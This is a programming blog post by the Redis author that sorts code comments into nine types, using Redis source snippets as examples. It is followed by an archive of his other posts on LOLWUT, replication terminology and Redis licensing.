  For quite some time I’ve wanted to record a new video talking about code comments for my "writing system software" series on YouTube. However, after giving it some thought, I realized that the topic was better suited for a blog post, so here we are. In this post I analyze Redis comments, trying to categorize them. Along the way I try to show why, in my opinion, writing comments is of paramount importance in order to produce good code, that is maintainable in the long run and understandable by others and by the authors during modifications and debugging activities. Not everybody thinks likewise. Many believe that comments are useless if the code is solid enough. The idea is that when everything is well designed, the code itself documents what the code is doing, hence code comments are superfluous. I disagree with that vision for two main reasons: 1. Many comments don't explain what the code is doing. They explain what you can't understand just from what the code does. Often this missing information is *why* the code is doing a certain action, or why it’s doing something that is clear instead of something else that would feel more natural. 2. While it is not generally useful to document, line by line, what the code is doing, because it is understandable just by reading it, a key goal in writing readable code is to lower the amount of effort and the number of details the reader should take into her or his head while reading some code. So comments can be, for me, a tool for lowering the cognitive load of the reader. The following code snippet is a good example of the second point above. Note that all the code snippets in this blog post are obtained from the Redis source code. Every code snipped is presented prefixed by the file name it was extracted from. The branch used is the current "unstable" with hash 32e0d237. scripting.c: /* Initial Stack: array */ lua_getglobal(lua,"table"); lua_pushstring(lua,"sort"); lua_gettable(lua,-2); /* Stack: array, table, table.sort */ lua_pushvalue(lua,-3); /* Stack: array, table, table.sort, array */ if (lua_pcall(lua,1,0,0)) { /* Stack: array, table, error */ /* We are not interested in the error, we assume that the problem is * that there are 'false' elements inside the array, so we try * again with a slower function but able to handle this case, that * is: table.sort(table, __redis__compare_helper) */ lua_pop(lua,1); /* Stack: array, table */ lua_pushstring(lua,"sort"); /* Stack: array, table, sort */ lua_gettable(lua,-2); /* Stack: array, table, table.sort */ lua_pushvalue(lua,-3); /* Stack: array, table, table.sort, array */ lua_getglobal(lua,"__redis__compare_helper"); /* Stack: array, table, table.sort, array, __redis__compare_helper */ lua_call(lua,2,0); } Lua uses a stack based API. A reader following each call in the function above, having also a Lua API reference at hand, will be able to mentally reconstruct the stack layout at every given moment. But why to force the reader to do such effort? While writing the code, the original author had to do that mental effort anyway. What I did there was just to annotate every line with the current stack layout after every call. Reading this code is now trivial, regardless of the fact the Lua API is otherwise non trivial to follow. My goal here is not just to offer my point of view on the usefulness of comments as a tool to provide a background that is not clearly available reading a local section of the source code. But also to also provide some evidence about the usefulness of the kind of comments that are historically considered useless or even dangerous, that is, comments stating *what* the code is doing, and not why. # Classification of comments The way I started this work was by reading random parts of the Redis source code, to check if and why comments were useful in different contexts. What quickly emerged was that comments are useful for very different reasons, since they tend to be very different in function, writing style, length and update frequency. I eventually turned the work into a classification task. During my research I identified nine types of comments: * Function comments * Design comments * Why comments * Teacher comments * Checklist comments * Guide comments * Trivial comments * Debt comments * Backup comments The first six are, in my opinion, mostly very positive forms of commenting, while the final three are somewhat questionable. In the next sections each type will be analyzed with examples from the Redis source code. FUNCTION COMMENTS The goal of a function comment is to prevent the reader from reading code in the first place. Instead, after reading the comment, it should be possible to consider some code as a black box that should obey certain rules. Normally function comments are at the top of functions definitions, but they may be at other places, documenting classes, macros, or other functionally isolated blocks of code that define some interface. rax.c: /* Seek the grestest key in the subtree at the current node. Return 0 on * out of memory, otherwise 1. This is an helper function for different * iteration functions below. */ int raxSeekGreatest(raxIterator *it) { ... Function comments are actually a form of in-line API documentation. If the function comment is written well enough, the user should be able most of the times to jump back to what she was reading (reading the code calling such API) without having to read the implementation of a function, a class, a macro, or whatever. Among all the kinds of comments, these are the ones most widely accepted by the programming community at large as needed. The only point to analyze is if it is a good idea to place comments that are largely API reference documentation inside the code itself. For me the answer is simple: I want the API documentation to exactly match the code. As the code is changed, the documentation should be changed. For this reason, by using function comments as a prologue of functions or other elements, we make the API documentation close to the code, accomplishing three results: * As the code is changed, the documentation can be easily changed at the same time, without the risk of making the API reference stale. * This approach maximizes the probability that the author of the change, that should be the one better understanding the change, will also be the author of the API documentation change. * Reading the code is handy to find the documentation of functions or methods directly where they are defined, so that the reader of the code can focus solely on the code, instead of context switching between code and documentation. DESIGN COMMENTS While a "function comment" is usually located at the start of a function, a design comment is more often located at the start of a file. The design comment basically states how and why a given piece of code uses certain algorithms, techniques, tricks, and implementation. It is an higher level overview of what you'll see implemented in the code. With such background, reading the code will be simpler. Moreover I tend to trust more code where I can find design notes. At least I know that some kind of explicit design phase happened, at some point, during the development process. In my experience design comments are also very useful in order to state, in case the solution proposed by the implementation looks a bit too trivial, what were the competing solutions and why a very simple solution was considered to be enough for the case at hand. If the design is correct, the reader will convince herself that the solution is appropriate and that such simplicity comes from a process, not from being lazy or only knowing how to code basic things. bio.c: * DESIGN * ------ * * The design is trivial, we have a structure representing a job to perform * and a different thread and job queue for every job type. * Every thread waits for new jobs in its queue, and process every job * sequentially. ... WHY COMMENTS Why comments explain the reason why the code is doing something, even if what the code is doing is crystal clear. See the following example from the Redis replication code. replication.c: if (idle > server.repl_backlog_time_limit) { /* When we free the backlog, we always use a new * replication ID and clear the ID2. This is needed * because when there is no backlog, the master_repl_offset * is not updated, but we would still retain our replication * ID, leading to the following problem: * * 1. We are a master instance. * 2. Our replica is promoted to master. It's repl-id-2 will * be the same as our repl-id. * 3. We, yet as master, receive some updates, that will not * increment the master_repl_offset. * 4. Later we are turned into a replica, connect to the new * master that will accept our PSYNC request by second * replication ID, but there will be data inconsistency * because we received writes. */ changeReplicationId(); clearReplicationId2(); freeReplicationBacklog(); serverLog(LL_NOTICE, "Replication backlog freed after %d seconds " "without connected replicas.", (int) server.repl_backlog_time_limit); } If I check just the function calls there is very little to wonder: if a timeout is reached, change the main replication ID, clear the secondary ID, and finally free the replication backlog. However what is not exactly clear is why we need to change the replication IDs when freeing the backlog. Now this is the kind of thing that happens continuously in software once it has reached a given level of complexity. Regardless of the code involved, the replication protocol has some level of complexity itself, so we need to do certain things in order to make sure that other bad things can't happen. Probably these kind of comments are, in some way, opportunities to reason about the system and check if it should be improved, so that such complexity is no longer needed, hence also the comment can be removed. However often making something simpler may make something else harder or is simply not viable, or requires future work breaking backward compatibility. Here is another one. replication.c: /* SYNC can't be issued when the server has pending data to send to * the client about already issued commands. We need a fresh reply * buffer registering the differences between the BGSAVE and the current * dataset, so that we can copy to other replicas if needed. */ if (clientHasPendingReplies(c)) { addReplyError(c,"SYNC and PSYNC are invalid with pending output"); return; } If you run SYNC while there is still pending output (from a past command) to send to the client, the command should fail because during the replication handshake the output buffer of the client is used to accumulate changes, and may be later duplicated to serve other replicas connecting while we are already creating the RDB file for the full sync with the first replica. This is the why we do that. What we do is trivial. Pending replies? Emit an error. Why is rather obscure without the comment. One may think that such comments are needed only when describing complex protocols and interactions, like in the case of replication. Is that the case? Let's change completely file and goals, and we see still such comments everywhere. expire.c: for (j = 0; j int expired; redisDb *db = server.db+(current_db % server.dbnum); /* Increment the DB now so we are sure if we run out of time * in the current DB we'll restart from the next. This allows to * distribute the time evenly across DBs. */ current_db++; ... That's an interesting one. We want to expire keys from different DBs, as long as we have some time. However instead of incrementing the “database ID” to process next at the end of the loop processing the current database, we do it differently: we select the current DB in the `db` variable, but then we immediately increment the ID of the next database to process (at the next call of this function). This way if the function terminates because too much effort was spent in a single call, we don't have the problem of restarting again from the same database, letting logically expired keys accumulating in the other databases since we are too focused in processing the same database again and again. With such comment we both explain why we increment at that stage, and that the next person going to modify the code, should preserve such quality. Note that without the comment the code looks completely harmless. Select, increment, go to do some work. There is no evident reason for not relocating the increment at the end of the loop where it could look more natural. Trivia: the loop increment was indeed at the end in the original code. It was moved there during a fix: at the same time the comment was added. So let's say this is kinda of a "regression comment". TEACHER COMMENTS Teacher comments don't try to explain the code itself or certain side effects we should be aware of. They teach instead the *domain* (for example math, computer graphics, networking, statistics, complex data structures) in which the code is operating, that may be one outside of the reader skills set, or is simply too full of details to recall all them from memory. The LOLWUT command in version 5 needs to display rotated squares on the screen (http://antirez.com/news/123). In order to do so it uses some basic trigonometry: despite the fact that the math used is simple, many programmers reading the Redis source code may not have any math background, so the comment at the top of the function explains what's going to happen inside the function itself. lolwut5.c: /* Draw a square centered at the specified x,y coordinates, with the specified * rotation angle and size. In order to write a rotated square, we use the * trivial fact that the parametric equation: * * x = sin(k) * y = cos(k) * * Describes a circle for values going from 0 to 2*PI. So basically if we start * at 45 degrees, that is k = PI/4, with the first point, and then we find * the other three points incrementing K by PI/2 (90 degrees), we'll have the * points of the square. In order to rotate the square, we just start with * k = PI/4 + rotation_angle, and we are done. * * Of course the vanilla equations above will describe the square inside a * circle of radius 1, so in order to draw larger squares we'll have to * multiply the obtained coordinates, and then translate them. However this * is much simpler than implementing the abstract concept of 2D shape and then * performing the rotation/translation transformation, so for LOLWUT it's * a good approach. */ The comment does not contain anything that is related to the code of the function itself, or its side effects, or the technical details related to the function. The description is only limited to the mathematical concept that is used inside the function in order to reach a given goal. I think teacher comments are of huge value. They teach something in case the reader is not aware of such concepts, or at least provide a starting point for further investigation. But this in turn means that a teacher comment increases the amount of programmers that can read some code path: writing code that can be read by many programmers is a major goal of mine. There are developers that may not have math skills but are very solid programmers that can contribute some wonderful fix or optimization. And in general code should be read other than being executed, since is written by humans for other humans. There are cases where teacher comments are almost impossible to avoid in order to write decent code. A good example is the Redis radix tree implementation. Radix trees are articulated data structures. The Redis implementation re-states the whole data structure theory as it implements it, showing the different cases and what the algorithm does to merge or split nodes and so forth. Immediately after each section of comment, we have the code implementing what was written before. After months of not touching the file implementing the radix tree, I was able to open it, fix a bug in a few minutes, and continue doing something else. There is no need to study again how a radix tree works, since the explanation is the same thing as the code itself, all mixed together. The comments are too long, so I'll just show certain snippets. rax.c: /* If the node we stopped at is a compressed node, we need to * split it before to continue. * * Splitting a compressed node have a few possible cases. * Imagine that the node 'h' we are currently at is a compressed * node contaning the string "ANNIBALE" (it means that it represents * nodes A -> N -> N -> I -> B -> A -> L -> E with the only child * pointer of this node pointing at the 'E' node, because remember that * we have characters at the edges of the graph, not inside the nodes * themselves. * * In order to show a real case imagine our node to also point to * another compressed node, that finally points at the node without * children, representing 'O': * * "ANNIBALE" -> "SCO" -> [] ... snip ... * 3a. IF $SPLITPOS == 0: * Replace the old node with the split node, by copying the auxiliary * data if any. Fix parent's reference. Free old node eventually * (we still need its data for the next steps of the algorithm). * * 3b. IF $SPLITPOS != 0: * Trim the compressed node (reallocating it as well) in order to * contain $splitpos characters. Change chilid pointer in order to link * to the split node. If new compressed node len is just 1, set * iscompr to 0 (layout is the same). Fix parent's reference. ... snip ... if (j == 0) { /* 3a: Replace the old node with the split node. */ if (h->iskey) { void *ndata = raxGetData(h); raxSetData(splitnode,ndata); } memcpy(parentlink,&splitnode,sizeof(splitnode)); } else { /* 3b: Trim the compressed node. */ trimmed->size = j; memcpy(trimmed->data,h->data,j); trimmed->iscompr = j > 1 ? 1 : 0; trimmed->iskey = h->iskey; trimmed->isnull = h->isnull; if (h->iskey && !h->isnull) { void *ndata = raxGetData(h); raxSetData(trimmed,ndata); } raxNode **cp = raxNodeLastChildPtr(trimmed); ... As you can see the description in the comment is then matched with the same labels in the code. It's hard to show it all in this form so if you want to get the whole idea just check the full file at: https://github.com/antirez/redis/blob/unstable/src/rax.c This level of commenting is not needed for everything, but things like radix trees are really full of little details and corner cases. They are hard to recall, and certain details are *specific* to a given implementation. Doing this for a linked list does not make much sense of course. It's a matter of personal sensibility to understand when it's worth it or not. CHECKLIST COMMENTS This is a very common and odd one: sometimes because of language limitations, design issues, or simply because of the natural complexity arising in systems, it is not possible to centralize a given concept or interface in one piece, so there are places in the code that tells you to remember to do things in some other place of the code. The general concept is: /* Warning: if you add a type ID here, make sure to modify the * function getTypeNameByID() as well. */ In a perfect world this should never be needed, but in practice sometimes there are no escapes from that. For example Redis types could be represented using an "object type" structure, and every object could link to the type the object it belongs, so you could do: printf("Type is %s\n", myobject->type->name); But guess what? It's too expensive for us, because a Redis object is represented like this: typedef struct redisObject { unsigned type:4; unsigned encoding:4; unsigned lru:LRU_BITS; /* LRU time (relative to global lru_clock) or * LFU data (least significant 8 bits frequency * and most significant 16 bits access time). */ int refcount; void *ptr; } robj; We use 4 bits instead of 64 to represent the type. This is just to show why sometimes things are not as centralized and natural as they should be. When the situation is like that, sometimes what helps is to use defensive commenting in order to make sure that if a given code section is touched, it reminds you to make sure to also modify other parts of the code. Specifically a checklist comment does one or both of the following things: * It tells you a set of actions to do when something is modified. * It warns you about the way certain changes should be operated. Another example in blocked.c, when a new blocking type is introduced. blocked.c: * When implementing a new type of blocking opeation, the implementation * should modify unblockClient() and replyToBlockedClientTimedOut() in order * to handle the btype-specific behavior of this two functions. * If the blocking operation waits for certain keys to change state, the * clusterRedirectBlockedClientIfNeeded() function should also be updated. The checklist comment is also useful in a context similar to when certain "why comments" are used: when it is not obvious why some code must be executed at a given place, after or before something. But while the why comment may tell you why a statement is there, the checklist comment used in the same case is more biased towards telling you what rules to follow if you want to modify it (in this case the rule is, follow a given ordering), without breaking the code behavior. cluster.c: /* Update our info about served slots. * * Note: this MUST happen after we update the master/replica state * so that CLUSTER_NODE_MASTER flag will be set. */ Checklist comments are very common inside the Linux kernel, where the order of certain operations is extremely important. GUIDE COMMENT I abuse guide comments at such a level that probably, the majority of comments in Redis are guide comments. Moreover guide comments are exactly what most people believe to be completely useless comments. * They don't state what is not clear from the code. * There are no design hints in guide comments. Guide comments do a single thing: they babysit the reader, assist him or her while processing what is written in the source code by providing clear division, rhythm, and introducing what you are going to read. Guide comments’ sole reason to exist is to lower the cognitive load of the programmer reading some code. rax.c: /* Call the node callback if any, and replace the node pointer * if the callback returns true. */ if (it->node_cb && it->node_cb(&it->node)) memcpy(cp,&it->node,sizeof(it->node)); /* For "next" step, stop every time we find a key along the * way, since the key is lexicographically smaller compared to * what follows in the sub-children. */ if (it->node->iskey) { it->data = raxGetData(it->node); return 1; } There is nothing that the comments are adding to the code above. The guide comments above will assist you reading the code, moreover they'll acknowledge you about the fact you are understanding it right. More examples. networking.c: /* Log link disconnection with replica */ if ((c->flags & CLIENT_SLAVE) && !(c->flags & CLIENT_MONITOR)) { serverLog(LL_WARNING,"Connection with replica %s lost.", replicationGetSlaveName(c)); } /* Free the query buffer */ sdsfree(c->querybuf); sdsfree(c->pending_querybuf); c->querybuf = NULL; /* Deallocate structures used to block on blocking ops. */ if (c->flags & CLIENT_BLOCKED) unblockClient(c); dictRelease(c->bpop.keys); /* UNWATCH all the keys */ unwatchAllKeys(c); listRelease(c->watched_keys); /* Unsubscribe from all the pubsub channels */ pubsubUnsubscribeAllChannels(c,0); pubsubUnsubscribeAllPatterns(c,0); dictRelease(c->pubsub_channels); listRelease(c->pubsub_patterns); /* Free data structures. */ listRelease(c->reply); freeClientArgv(c); /* Unlink the client: this will close the socket, remove the I/O * handlers, and remove references of the client from different * places where active clients may be referenced. */ unlinkClient(c); Redis is *literally* ridden of guide comments, so basically every file you open will contain plenty of them. Why bother? Of all the comment types I analyzed so far in this blog post, I'll admit that this is absolutely the most subjective one. I don't value code without such comments as less good, yet I firmly believe that if people regard the Redis code as readable, some part of the reason is because of all the guide comments. Guide comments have some usefulness other than the stated ones. Since they clearly divide the code in isolated sections, an addition to the code is very likely to be inserted in the appropriate section, instead of ending in some random part. To have related statements nearby is a big readability win. Also make sure to check the guide comment above before the unlinkClient() function is called. The guide comment briefly tells the reader what the function is going to do, avoiding the need to jump back into the function if you are only interested in the big picture. TRIVIAL COMMENTS Guide comments are very subjective tools. You may like them or not. I love them. However, a guide comment can degenerate into a a very bad comment: it can easily turn into a "trivial comment". A trivial comment is a guide comment where the cognitive load of reading the comment is the same or higher than just reading the associated code. The following form of trivial comment is exactly what many books will tell you to avoid. array_len++; /* Increment the length of our array. */ So if you write guide comments, make sure you avoid writing trivial ones. DEBT COMMENTS Debt comments are technical debts statements hard coded inside the source code itself: t_stream.c: /* Here we should perform garbage collection in case at this point * there are too many entries deleted inside the listpack. */ entries -= to_delete; marked_deleted += to_delete; if (entries + marked_deleted > 10 && marked_deleted > entries/2) { /* TODO: perform a garbage collection. */ } The snippet above is extracted from the Redis streams implementation. Redis streams allow to delete elements from the middle using the XDEL command. This may be useful in different ways, especially in the context of privacy regulations where certain data cannot be retained no matter what data structure or system you are using in order to store them. It is a very odd use case for a mostly append only data structure, but if users start to delete more than 50% of items in the middle, the stream starts to fragment, being composed of "macro nodes". Entries are just flagged as deleted, but are only reclaimed once all the entries in a given macro node are freed. So your mass deletions will change the memory behavior of streams. Right now, this looks like a non issue, since I don't expect users to delete most history in a stream. However it is possible that in the future we may want to introduce garbage collection: the macro node could be compacted once the ratio between the deleted entries and the existing entries reach a given level. Moreover nearby nodes may be glued together after the garbage collection. I was kind of afraid that later I would no longer remember what were the entry points to do the garbage collection, so I put TODO comments, and even wrote the trigger condition. This is probably not great. A better idea was instead to write, in the design comment at the top of the file, why we are currently not performing GC. And what are the entry points for GC, if we want to add it later. FIXME, TODO, XXX, "This is a hack", are all forms of debt comments. They are not great in general, I try to avoid them, but it's not always possible, and sometimes instead of forgetting forever about a problem, I prefer to put a node inside the source code. At least one should periodically grep for such comments, and see if it is possible to put the notes in a better place, or if the problem is no longer relevant or could be fixed right away. BACKUP COMMENTS Finally backup comments are the ones where the developer comments older versions of some code block or even a whole function, because she or he is insecure about the change that was operated in the new one. What is puzzling is that this still happens now that we have Git. I guess people have an uneasy feeling about losing that code fragment, considered more sane or stable, in some years old commit. But source code is not for making backups. If you want to save an older version of a function or code part, your work is not finished and cannot be committed. Either make sure the new function is better than the past one, or take it just in your development tree until you are sure. Backup comments end my classification. Let's try some conclusion. # Comments as an analysis tool. Comments are rubber duck debugging on steroids, except you are not talking with a rubber duck, but with the future reader of the code, which is more intimidating than a rubber duck, and can use Twitter. So in the process you really try to understand if what you are stating *is acceptable*, honorable, good enough. And if it is not, you make your homework, and come up with something more decent. It is the same process that happens while writing documentation: the writer attempts to provide the gist of what a given piece of code does, what are the guarantees, the side effects. This is often a bug hunting opportunity. It is very easy while describing something to find that it has holes... You can't really describe it all because you are not sure about a given behavior: such behavior is just emerging from complexity, at random. You really don't want that, so you go back and fix it all. I find this a splendid reason to write comments. # Writing good comments is harder than writing good code You may think that writing comments is a lesser noble form of work. After all you *can code*! However consider this: code is a set of statement and function calls, or whatever your programming paradigm is. Sometimes such statements do not make much sense, honestly, if the code is not good. Comments require always to have some design process ongoing, and to understand the code you are writing in a deeper sense. On top of that, in order to write good comments, you have to develop your writing skills. The same writing skills will assist you writing emails, documentation, design documents, blog posts, and commit messages. I write code because I have an urgent sense to share and communicate more than anything else. Comments coadiuvate the code, assist it, describe our efforts, and after all I love writing them as much as I love writing code itself. (Thanks to Michel Martens for giving feedbacks during the writing of this blog post) Comments

• LOLWUT: a piece of art inside a database command
  Antirez · Sep 12, 2018

  The last few days have been quite intense. One of the arguments, about the dispute related to replacing or not the words used in Redis replication with different ones, was the following: is it worthwhile to do work that does not produce any technological result? As I was changing the Redis source code to get rid of a specific word where possible, I started to think that whatever my idea was about the work I was doing, I’m the kind of person that enjoys writing code that has no measurable technological effects. Replacing words is just annoying, even if, even there, there were a few worthwhile technological challenges. But there is some other kind of code that I believe has a quality called “hack value”. It may not solve any technological problem, yet it’s worth to write. Sometimes because the process of writing the code is, itself, rewarding. Other times because very technically advanced ideas are used to solve a not useful problem. Sometimes code is just written for artistic reasons. In some way the Twitter discussion of the last days, mostly uninformed, chaotic, heated, made me think that, at this point, we are very far from the first hackers in the 60s. As I get older I find that it is harder and harder to talk about technology with an hacking perspective, where there are no walls or pre-cooked ideas, and the limit is the exploration. For everything you say there is a best practice. For every idea there is a taboo. To this new setup I say LOLWUT, since I don’t feel represented by it, nor it represents hacking, at least in my vision. So the idea was to spend some technologically useless time in order to explore something of the 60s. My attention went immediately to one of the computer art pieces I love the most: Schotter, by Georg Nees (https://en.wikipedia.org/wiki/Georg_Nees). With the help of a plotter and ALGOL programs, Nees explored writing programs to generate art using caos (randomness) and repeating patterns. Schotter is remarkable because of the simplicity of the piece and the deep meaning that the observer can find looking at it. Under a surface of total calm and order, deep inside the disorder hides. Or, if you put it upside down it becomes like the sea during a tempest. However the surface may look impetuous, the deep sea remains calm. Is it possible to turn a piece of art into a database command? This was challenging because Redis is mostly used by a command line interface. Nowadays terminals are for sure fancier than the ones of the past, but yet to display decent graphics is hard. On the other side there is the huge advantage of the real time computation: a piece of art can be dynamic, changing every time it is generated. Before continuing, I want to show you the final result: img://antirez.com/misc/lolwut1.png While very low resolution the idea of the original piece is still there. To make this possible I used a trick that recently was used by multiple programs trying to display interesting things in a text console. It involves using the Braille unicode charset in order to create a pixel matrix which is more dense than the individual characters of the console. Specifically, for each character, it is possible to fit a 2x8 grid of pixels. The second part of the experiment was to make the art piece parametric: img://antirez.com/misc/lolwut2.png It is possible to generate different versions of the original piece, changing the number of squares and the output resolution. Finally the source code wanted to be an example of literate programming, being written in a form that resembles more a tutorial describing what everything does and why, instead of some opaque generator. You can find the code here: https://github.com/antirez/redis/blob/unstable/src/lolwut.c LOLWUT is also going to be a tradition starting from Redis 5. At each new major version of Redis what the command does will change completely, only a set of rules will be fixed: 1. It can’t do anything technologically useful. 2. It should be fast at doing what it does, so that it is safe to call LOLWUT on production instances. 3. The output should be entertaining in some way. I wrote the first one for Redis 5, for the next versions, if I find interest, I’ll ask somebody else that contributed to Redis to write the other LOLWUT versions, otherwise I’ll write it again myself (but I hope that’s not the case). LOLWUT should remember ourselves that the work we do, programming, did not start just in order to produce something useful. Initially it was mainly a matter of exploring possibilities. I hope that LOLWUT also will remind the Redis community that computers are about humans, and that it is not possible to reason in an aseptic way just thinking at the technological implications. There are people using systems, people building systems, and so forth. Comments

• On Redis master-slave terminology
  Antirez · Sep 06, 2018

  Today it happened again. A developer, that we’ll call Mark to avoid exposing his real name, read the Redis 5.0 RC5 change log, and was disappointed to see that Redis still uses the “master” and “slave” terminology in order to identify different roles in Redis replication. I said that I was sorry he was disappointed about that, but at the same time, I don’t believe that terminology out of context is offensive, so if I use master-slave in the context of databases, and I’m not referring in any way to slavery. I originally copied the terms from MySQL, and now they are the way we call things in Redis, and since I do not believe in this battle (I’ll tell you later why), to change the documentation, deprecate the API and add a new one, change the INFO fields, just to make a subset of people that care about those things more happy, do not make sense to me. After it was clear that I was not interested in his argument, Mark accused me of being fascist. Now I’m Italian, and incidentally my grand grand father was put in jail for years by fascists because he was communist and was against the regime. He was released to die in a couple of months at home. The father of my mother instead went in the north of Italy for II World War, and was able to escape from the Nazis for a miracle. Stayed 5 years as a refugee, and eventually returned home to become the father of my mother. Mark do not care about the terminology he uses against other people, if the matter at hand is to make sure people that may potentially feel offended will not. Now, it’s time for you to know my political orientation, so that you can put in context my refuse to change terminology. I want my government to be more open to immigration, including economical immigration, I do not accept any racism and I was strongly in favor of “ius soli” law here in Italy. I do not just accept conceptually same-sex marriage, but I really love the beauty that there is in two men or women kissing, making sex, adopting a child. Every day in Facebook and with my social sphere I actively talk about politics in order to push equality. I believe in a systematic bias that our society perpetuates against women, and I’m proud to live in a country where women are free to not recognize the child as their own after giving birth, in order to have the same rights of the biological father that can go away: this was a big win of the European feminist movement in the 70s, together with the abortion right. I’m proud that in my country there is no death penalty like there is not in the rest of EU, that guns are mostly banned, that there is universal healthcare for free. I do not believe to be fascist or racist honestly, and I write almost daily about all this things on Facebook with my friends, talk at people on the street, and so forth. For years and years, since I was 16. So, what’s the problem with changing this terminology? The first problem is that every terminology is offensive in principle, and I don’t want to accept this idea that certain words that are problematic, especially for Americans to make peace with their past, should be banned. For example if I’m terminally ill, the “short living request” terminology may be offensive, it reminds me that I’m going to die, or that my father is going to die. Instead of banning every word out there, we should make the mental effort to do better than the political correctness movement that stops at the surface. So, let’s call it master-slave, and instead make a call for US, where a sizable black population is very poor, to have free healthcare, to have cops that are less biased against non-white people, to stop death penalty. This makes really a difference. For instance Europeans that are a lot less sensible to political correctness, managed to do a much better job on that stuff. There is more: I believe that political correctness has a puritan root. As such it focuses on formalities, but actually it has a real root of prejudice against others. For instance Mark bullied me because I was not complying with his ideas, showing problems at accepting differences in the way people think. I believe that this environment is making it impossible to have important conversations. For instance nobody at this point want to talk about women in tech and about the systematic bias of women in our society (to the point that recently in Japan it was discovered that women were systematically stopped from entering the best medical schools). People will go away once the discussion starts, because everybody knows that at this point to talk about this matters is a huge PR error, can cost you your job or company. Many, while reading this blog post, are thinking that I’m crazy at writing this stuff, even if they think likewise. Well, I don’t want that the people that did this to the our ability to have conversations will get a free pass to say what to do to others, because conversations is the only way we can make people that yet don't have an open vision to change ideas. Moreover I don't believe in the right to be offended, because it's a subjective thing. Different groups may feel offended by different things. To save the right of not being offended it becomes basically impossible to say or do anything in the long run. Is this the evolution of our society? A few days ago on Hacker News I discovered I can no longer say "fake news" for instance. I want a world of equity, opportunities, redistribution of wealth, and open borders. But the way I believe this world can be obtained is not by banning words, nor by stalking people on Twitter so that they comply with your ideology. I’ll continue my local political activity, and I’ll continue to write open source software. I hope that Mark, and the others like Mark, will let me live my life as I decided to do. Comments

• Redis is not "open core"
  Antirez · Aug 25, 2018

  Human beings have a strong tendency to put new facts into pre-existing categories. This is useful to mentally and culturally classify similar events under the same logical umbrella, so when two days ago I clarified that the Redis core was still released under the vanilla BSD license, and only certain Redis modules developed by Redis Labs were going to change license, from AGPL to a different non open source license, people said “Ah! Ok you are going open core”. The simplification this time does not work if it is in your interest to capture the truth of what is happening here. An open core technology requires two things. One is that the system is modular, and the other is that parts of such system are made proprietary in order to create a product around an otherwise free software. For example providing a single node of a database into the open source, and then having the clustering logic and mechanism implemented in a different non-free layer, is an open core technology. Similarly is open core if I write a relational database with a modular storage system, but the only storage that is able to provide strong guarantees is non free. In an open core business model around an open source system it is *fundamental* that you take something useful out of the free software part. Now for some time Redis is a modular system. You can use Redis modules in order to write many things, including new distributed systems using the recently introduced cluster message bus API, or new data types that look native. However the reason to make Redis modular was not to remove something useful from the system and put a price tag on it. For instance one of the new data structures in Redis 5, the streams, are part of the core and are released under the BSD license. Streams were implemented when Redis was already a modular system. Redis modules started from a different observation. As a premise I should say that I’m a very conservative person about software development. I believe that Redis should be focused to address just things that, when operated with in-memory data structures, offer strong advantages over other ways to do the same thing. I don’t want Redis to do much more than it does, or to employ every possible consistency tradeoff. I want Redis to be Redis, that is, this general tool that the developer can use in different ways to solve certain problems. However at Redis Labs we observed multiple times that it’s a bit a shame that Redis cannot solve certain specific problems. For instance what about if Redis was a serious full text search engine? Also well, developers want so much JSON, what about having an API to talk directly JSON? And given that in-memory graphs if represented wisely can be so fast, what about having graph database abilities, with a rich query language? Redis Labs customers often asked directly for such things. And actually, such features could be cool, but it’s not Redis, I’m not interested, and the open source side of Redis does not have the development force to keep all this things going btw. And this is a major advantage both for Redis and for Redis Labs: it is relatively cheap to pay just me and a few more OSS development time internally, while allocating the rest of the resources to development of things that are useful for the Redis Labs business, like making sure the Redis enterprise SaaS and products are good. There is anyway a great deal of contributions arriving from the community. And I also keep saying “no” to all this fancy ideas that would keep Redis in other areas… which is also a problem. Still to have such things similar to Redis but outside the Redis scope, would be cool, because you know, while it’s not Redis mission, people may very well use a fast inverted index with full text search capabilities that you can feed in real time, while it serves a very good amount of queries per core at the same time. This is what Redis Labs is doing, it’s using the same Redis technology and approach to do more than what Redis wanted to do. Not just in the functionality areas, but also in other areas like consistency models. I’m very opinionated about certain things, and I think that, for instance, CRDTs while super cool in certain use cases, where not the right thing for Redis, to retain the same memory footprint, performance, simplicity, even at the cost of having a weaker consistency model. So Redis Labs, together with a top researcher in the area, did it (and this is a proprietary product without any source available). I can see how such feature can be tremendously useful for certain operations, but Redis was not there to solve everything, and Redis Labs did it. This is not open core. Redis Labs is doing things that you would never see from me: for bandwidth, and because I believe that not all the softwares must eventually become huge. So I think that calling this model “open core” is misleading, nothing is removed from the Redis table, just new things are explored, while trying to follow the “Redis way” in other areas otherwise not touched by the Redis project. Comments

• Redis will remain BSD licensed
  Antirez · Aug 22, 2018

  Today a page about the new Common Clause license in the Redis Labs web site was interpreted as if Redis itself switched license. This is not the case, Redis is, and will remain, BSD licensed. However in the era of [edit] uncontrollable spreading of information, my attempts to provide the correct information failed, and I’m still seeing everywhere “Redis is no longer open source”. The reality is that Redis remains BSD, and actually Redis Labs did the right thing supporting my effort to keep the Redis core open as usually. What is happening instead is that certain Redis modules, developed inside Redis Labs, are now released under the Common Clause (using Apache license as a base license). This means that basically certain enterprise add-ons, instead of being completely closed source as they could be, will be available with a more permissive license. I think that Redis Labs Common Clause page did not provide a clear and complete information, but software companies often make communication errors, it happens. To me however, it looks more important that while running a system software business in the “cloud era” (LOL) is very challenging using an open source license, yet Redis Labs totally understood and supported the idea that the Redis core is an open source project, in the *most permissive license ever*, that is, BSD, and during the years provided a lot of funding to the project. The reason why certain modules developed internally at Redis Labs are switching license, is because they are added value that Redis Labs wants to be able to provide only to end users that are willing to compile and install the system themselves, or to the Redis Labs customers using their services. But it’s not ok to give away that value to everybody willing to resell it. An example of such module is RediSearch: it was AGPL and is now going to be Apache + Common Clause. About myself, I’ll keep writing BSD code for Redis. For Redis modules I’ll develop, such as Disque, I’ll pick AGPL instead, for similar reasons: we live in a “Cloud-poly”, so it’s a good idea to go forward with licenses that will force other SaaS companies to redistribute back their improvements. However this does not apply to Redis itself. Redis at this point is a 10 years collective effort, the base for many other things that we can do together, and this base must be as available as possible, that is, BSD licensed. We at Redis Labs are sorry for the confusion generated by the Common Clause page, and my colleagues are working to fix the page with better wording. Comments

• Redis Lua scripting: several security vulnerabilities fixed
  Antirez · Jun 13, 2018

